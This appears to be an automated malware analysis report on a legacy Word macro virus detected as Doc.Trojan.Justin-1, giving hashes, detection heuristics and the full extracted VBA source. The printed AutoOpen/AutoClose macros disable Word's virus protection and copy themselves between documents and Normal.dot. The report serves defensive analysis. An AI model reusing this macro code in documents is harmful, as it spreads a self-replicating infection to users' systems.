Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 52e162838e5b725e…

MALICIOUS

Office (OLE)

30.0 KB Created: 2001-01-05 14:20:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d63fccea4b68591fdfa9805e66762ed6 SHA-1: 66ef56d431be8b0165460d2b8e76c1697ebb6801 SHA-256: 52e162838e5b725e24debd4d19924f6a588fb7b56eb9ba89d32fb89bd7679b34
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The 'autoopen' and 'autoclose' macros are designed to copy themselves between the active document and the Normal.dot template. This behavior suggests an attempt to establish persistence or spread the malicious macro. The ClamAV detection 'Doc.Trojan.Justin-1' further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Justin-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Justin-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2961 bytes
SHA-256: 05575ea773c898a9f97ca5fd2baa6ee08bb9d5ab70724a2d65b9e8f158b39fca
Detection
ClamAV: Doc.Trojan.Justin-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub autoopen()
Attribute autoopen.VB_Description = "Macro gravada 28/07/99 por Fernando Dias"
Attribute autoopen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro1"
' Macro1 Macro
' Macro gravada 28/07/99 por junior santin
' Quando o documento é aberto, é copiado automaticamente
' o modulo do documento ativo p/ o normal.dot
Options.VirusProtection = False
ShowVisualBasicEditor = False
On Error GoTo saida
    Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:= _
        NormalTemplate.FullName, Name:= _
        "NewMacros", Object:=wdOrganizerObjectProjectItems
saida:
End Sub
Sub autoclose()
'Quando o documento é fechado é copiado automaticamente
'o modulo do normal.dot p/ o documento
On Error GoTo saida
    Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:= _
        ActiveDocument.FullName, Name:= _
        "NewMacros", Object:=wdOrganizerObjectProjectItems
saida:
End Sub



Sub imprimir()
Attribute imprimir.VB_Description = "Macro gravada 31/12/99 por Fernando Dias"
Attribute imprimir.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.imprimir"
'
' imprimir Macro
' Macro gravada 31/12/99 por Fernando Dias
'
    ActiveDocument.PrintOut
End Sub
Sub Macro1()
Attribute Macro1.VB_Description = "Macro gravada 11/09/99 por Fernando Dias"
Attribute Macro1.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Macro1"
'
' Macro1 Macro
' Macro gravada 11/09/99 por Fernando Dias
'
    Selection.TypeText Text:="junior santin"
    Selection.HomeKey Unit:=wdLine, Extend:=wdExtend
    Selection.HomeKey Unit:=wdLine, Extend:=wdExtend
    With Selection.Font
        .Name = "Times New Roman"
        .Size = 20
        .Bold = True
        .Italic = False
        .Underline = wdUnderlineNone
        .StrikeThrough = False
        .DoubleStrikeThrough = False
        .Outline = False
        .Emboss = False
        .Shadow = False
        .Hidden = False
        .SmallCaps = False
        .AllCaps = False
        .ColorIndex = wdBlue
        .Engrave = False
        .Superscript = False
        .Subscript = False
        .Spacing = 0
        .Scaling = 100
        .Position = 0
        .Kerning = 0
        .Animation = wdAnimationNone
    End With
End Sub
Sub Macro2()
Attribute Macro2.VB_Description = "Macro gravada 11/09/99 por Fernando Dias"
Attribute Macro2.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Macro2"
'
' Macro2 Macro
' Macro gravada 11/09/99 por Fernando Dias
'
    Selection.WholeStory
    Selection.Font.ColorIndex = wdRed
    Selection.Font.Size = 14
    Selection.Font.Name = "Arial"
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.